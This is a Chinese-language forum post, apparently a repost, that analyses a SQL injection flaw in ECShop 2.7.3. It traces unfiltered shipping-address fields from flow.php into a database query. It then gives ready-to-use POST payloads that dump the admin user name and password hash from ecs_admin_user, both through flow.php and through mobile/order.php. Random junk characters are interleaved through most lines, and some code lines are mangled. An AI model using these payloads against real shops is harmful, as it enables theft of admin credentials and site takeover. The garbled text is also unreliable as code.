前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
& y, N! v; D( M4 U# P# H* x/ ?8 N. C2 K: h0 _
漏洞关键文件:6 B1 c \4 q0 I# t
% M1 ], m3 U \) {: u
/includes/lib_order.php& H$ C! A: |: d1 p5 H0 X
s. `) X5 [" ?
关键函数:, ^, C4 s7 d! @) d: [# n
0 o! _) Z, E4 V $ C- p3 j: D; q" w- Q
* R) w4 ]" t8 P, T& j- N1 \ s01 function available_shipping_list($region_id_list)
2 v% H: F& P" g' X; e
8 P& C& k0 ~2 Q0 R* L$ F02 { 5 n- K/ F- I" w$ A! Q
% z1 K8 S* m0 w3 \. Z03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 @9 p4 {8 R+ e% U& |5 o0 y" N' ~
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
. u; n2 ]: o0 ]7 g; y
& n6 v9 _, I5 \05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ! P" J& P& k! A5 Y ^; ^5 X3 m
H. Z0 O* d: e6 j; V4 L06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ' {/ r, O" u8 _# @' h6 v
6 w6 ~$ R/ \% ~8 q
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. # V! N* ` @1 c" n' k4 @0 I% d
7 `* d) _% R5 S
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
) K+ j! W4 Y# A1 h, j, c3 ^. K, m1 r
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# `( d6 G, `0 X' T0 ~3 X0 B5 X, r. G
10 & l2 T* Y+ |1 ~! n4 e. k6 I
* J; C0 e' d. f3 t1 v# R6 U11 return $GLOBALS['db']->getAll($sql);
3 e# L/ R& j% v4 h* B" }5 o$ E, {. V
12 } # w- G% }0 s% n( d% ?0 W3 W" z
b- o6 L+ F- G: }
显然对传入的参数没有任何过滤就带入了查询语句。
$ G$ H% \* Y" D( S! r " d5 O! W& i( Y
下面我们追踪这个函数在flow.php中:( m9 t" G% b# x' T' M; x9 h5 y4 |6 R
第531行:
+ {4 ]8 Q$ I' K, K
" ^% H. w, i; f6 w! w, _1 $shipping_list = available_shipping_list($region); + p" {3 L. x" o+ k. D0 y& |; _2 D& g
9 x0 d- X0 q7 {
) v& ^' k' V* F, u6 W5 ?$ s1 q. c( }: ^
) f1 N# Y' N. m' l) F' O
* h0 E6 G8 y% a3 H. c# _再对传入变量进行追踪:8 U& @. I( B0 j3 Z6 k1 l
0 J1 h' e1 u& n* A) E3 l8 t r& e第530行:
J ?" ~ B. C) R! O, `
9 T, J& W" N% C$ ]5 y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); B1 K% J! Z7 G; C9 S
+ `1 m; m8 z$ l' B
& k$ D D4 J; b
3 n4 y; ^5 t$ A; @1 } 5 s8 z& G9 ^7 W+ \
2 P+ q5 n. P' v; f
第473行:
' U) {8 W3 a% `2 M* \3 U
& K) U. o* x- G1 $consignee = get_consignee($_SESSION['user_id']); 0 [. B' A s0 m4 V
) g$ r- |' c' c2 I1 x9 `+ b
到了一个关键函数:
' F L, _2 d& R( ]9 s7 h1 r" q) _7 X, F$ a
/includes/lib_order.php
/ A4 W" M+ U8 T0 U( U b# M6 U Z2 I& _
/ O) n6 ~1 s" V) Z5 P
( T/ ?6 a) L5 l) \* m* I3 Q
% m+ z. s4 o, _5 G: X: h d% x. ~4 {8 s( y
01 function get_consignee($user_id) * S: j& C! a2 ~
z# M- c: @+ k# K; U* o' u
02 { 9 A( A( m/ _# h8 l( {4 v! h9 \
$ ?7 K# Z" w7 P7 `/ M1 J
03 if (isset($_SESSION['flow_consignee'])) ' m& a$ N) t8 {& Z }3 A
6 p7 Z8 n1 L. K- z8 w0 G# a1 Z% Z04 { / P R) E% c, i% i9 j8 R0 B' \
~2 f' J- r+ Z: }+ ^
05 /* 如果存在session,则直接返回session中的收货人信息 */
2 B }; G. U) s8 N
! V4 n9 R% @/ N: r! H06 8 X& Z; _$ G+ F6 h/ Y% Q7 v
# Y1 S# D0 e) j4 ~* [/ F07 return $_SESSION['flow_consignee'];
% s1 v6 E8 Z" x' X q5 L
, L% j1 m7 n( f4 P( k08 }
; q0 H8 U& c3 ^ b Q2 \. \& B& k" t& M) M- p
09 else 4 ?. L6 d; w& l6 M, g H
3 N+ o8 S# n, x$ w; W: R8 [
10 {
/ j6 b$ u# {' k( E5 E- n3 |0 y( c' |
11 /* 如果不存在,则取得用户的默认收货人信息 */
+ ^- d% Y* f2 r' n) |; n4 L- |4 F7 I! @
12 $arr = array(); 8 X+ E/ C$ }; [+ X2 A
* w$ F1 u' a$ P4 Y& g3 I
13 . C2 L% N/ |1 J* w! ?
5 n6 T9 |4 r9 L6 I. u' R
14 if ($user_id > 0) 3 ~1 \) z; B# V! f
5 d5 b, ^, j: b- X v: E/ B
15 {
+ D, I6 X7 E6 m1 c: h% L% J, H
I$ U+ t }0 Z& P# E16 /* 取默认地址 */ 8 s4 e |7 g* o& d% a& [
! P0 n( c7 J0 C" z; j/ g/ r/ H
17 $sql = "SELECT ua.*". . Z, E9 `+ ]0 n& _
0 |+ n. e0 d( e/ G
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. + F' u, ^: {0 P# E
# y, c( |: V1 W- j2 W9 _2 Z0 x
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
- J. [, E7 D x: u" h* U' Q# K
F: B, u, z0 J) O( Z+ `) D, a20
# Y" M( v1 _5 t
5 U6 b. {: F! C- X: m21 $arr = $GLOBALS['db']->getRow($sql);
8 r$ d3 O7 o! n6 e
4 F, M, f0 n& p- g' E& N1 z9 [22 } ' ]$ c5 S. i6 W+ L: l2 X# \8 o: C
: r( i8 {9 J9 F, i
23
( F, Q5 K5 l; f# e- f
b8 {- t5 i4 n! P" c& _7 }24 return $arr;
$ c% P- a @: f7 S& J% U; S( p/ h4 ]$ E
25 }
4 H9 Q6 _2 L) Q; X. M0 H: H& b; g" d, C7 d
26 }
" K/ [$ }9 V4 \1 y& M
, r6 g& p$ s" z0 p9 d9 \显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" _$ C% ^. i1 V e5 K' S- ?( l6 r
: l4 _' U+ `. Z% }* z: H
) Z9 u& d2 _4 b* r ~
B4 }2 i; A/ q7 F( ~关键点:
; }' }3 e3 w. g/ U+ ?2 p
" ]1 x' p/ P: x5 R8 t第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 d. ]$ {* [' K4 S! o: A0 [& P) @. n: @; K3 z
这里对传入参数反转义存入$_SESSION中。& K4 V. {% T" k6 s9 H% Y
% d B, q& O: q' S2 J , x, e8 U- k. y
2 O1 u! ~* S, B
然后看下:
# B4 F( Y: u- O% c8 k: s
: z5 }. T3 C7 l7 D% ^ 5 G2 G# p: M0 A0 A+ c4 i3 V
+ P( h# F5 `" m0 T+ u" }' ]
$ R: a' i8 G5 D
* ]' k" N x+ a( Q01 $consignee = array( . M" L6 v9 @6 N; F" m5 G' Z
5 r6 y$ u2 B |7 w! D) j0 n02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
6 S% J' B8 x0 X" V k1 @
8 p" a2 Z& U% w. H- V7 O03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ' a1 y8 [( F6 Q5 e
Z* _9 h3 R2 g7 A04 'country' => empty($_POST['country']) ? '' _POST['country'],
6 p: E2 J/ I* `# Z* c% _) z
3 B) i3 D+ c' c7 r5 K05 'province' => empty($_POST['province']) ? '' _POST['province'], ( k; G6 `3 z0 T
& U: x( p" y8 [
06 'city' => empty($_POST['city']) ? '' _POST['city'],
: m+ d4 {9 p( r& ]& F2 H) {
0 Q% d' Z; ]0 o6 W07 'district' => empty($_POST['district']) ? '' _POST['district'], 4 Q- M% A8 I, q! Y$ {0 y
! W# i/ Y( B8 q. m. b08 'email' => empty($_POST['email']) ? '' _POST['email'], 2 q& g% ~$ b7 B/ O; h0 }
4 P; G# b8 ?) V }6 h3 c# a" i. S$ K
09 'address' => empty($_POST['address']) ? '' _POST['address'], x5 ^) N g9 F; m4 x6 T
7 B/ [% f9 d; O7 R- T2 q Y/ n10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
, d* t- C7 j$ y6 k3 C! W9 ~3 K- @! u/ L. H; P
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
, h- n- } i( ^9 U2 o0 x% D# v( }. m( x6 x% k0 ] d% f) R
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), * Q3 c$ \ ]% c) ?& |
+ h9 w: l; m# f- n: \$ d2 U
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " t9 ]" i( v( F- G1 b8 b$ S1 g
6 e8 d" O" E0 W/ O3 I14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 4 y7 d: a: N* L! ~8 l# G6 d
3 H+ W) A8 Z7 W( l15 ); # D: n$ R. L, U/ q7 h1 w6 S
. e7 V+ w' B7 N. |2 k好了注入就这样出现了。
% a5 G" p8 J" b( ~8 z' M; t' k* b+ G$ o6 g9 a4 J# g) N N& o
==================
3 C; E7 S1 j Y( f6 Q9 M1 ]8 O1 j ~4 d% g( e8 @$ s, a) R
注入测试:$ _ u- ? n+ _# k# z
+ c. Z- \ v! a6 P& f. V
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)+ W$ J7 g) T( X
# u4 T. l0 l1 ?4 F5 H" \: E- z测试程序:ECShop_V2.7.3_UTF8_release1106
8 b4 D! \6 z% R2 R0 q N, f' G$ f1 Q
0 q* N4 L; q% P, O! U0 h& p3 a
/ R3 @6 s7 O* E: W X1 e& k* u- O0 H* L1.首先需要点击一个商品加入购物车( _ {* d0 t6 A$ L0 ~
) s9 s- Q, u3 H% {, Q, |& n8 q2.注册一个会员帐号! E, x% I: Z0 J. P/ m: R2 _
# s0 L- \# Y6 n& d2 U0 ]3.post提交数据5 d* r$ [' l# O! Q) Q
$ I3 n/ t0 P) y# E2 A3 G
0 J7 m- K/ U# m) z, P
' c) R( L; e7 t5 w; [6 v! [2 K6 P8 v) M7 v1 http://127.0.0.1/ecshop/flow.php
* ]! G) `8 \2 D% n; ^- F8 Q5 S0 V- i6 h1 s
2 2 q. N4 ^5 K3 i7 z0 s3 v- t/ I
7 ?' u Q( K3 d! |
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 3 G# N8 c* ^- m$ z( e- C
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
) @5 ?+ p* D3 ^+ ^. x# u! O) P
+ q. n3 j; X% Z$ k我们搜寻关键函数function available_shipping_list()
0 L- L6 k2 \6 e* Y3 f" c6 S! W6 `+ C( q& p" Z% h
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
# o, G7 v, Z4 W% ~$ [: g" `6 @& v5 I" c3 |
利用exp:* m3 D0 p: d; s p
, K3 C# p7 z$ Z' e# i: K# {/ N
1.点击一个商品,点击购买商标2 \* A( Y# p9 _% N+ k
6 i' ~* Z& T. c0 _% t/ p5 E' s5 j3 g2.登录会员帐号' g5 p# m. s) f3 f
' f7 u G2 o1 n! @
3.post提交:
7 u: z% U: P4 @/ m* \1 L' k
" }/ n [6 D: b- d0 ~http://127.0.0.1/ecshop/mobile/order.php4 L3 q) L; `9 t* i- B4 F
) I, s1 r6 @7 `8 a
& `2 W, M3 V2 O
/ P1 o) U) o) X3 i
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. K) h% O+ t+ r0 N0 h( X
8 \& s; f+ f- O% q |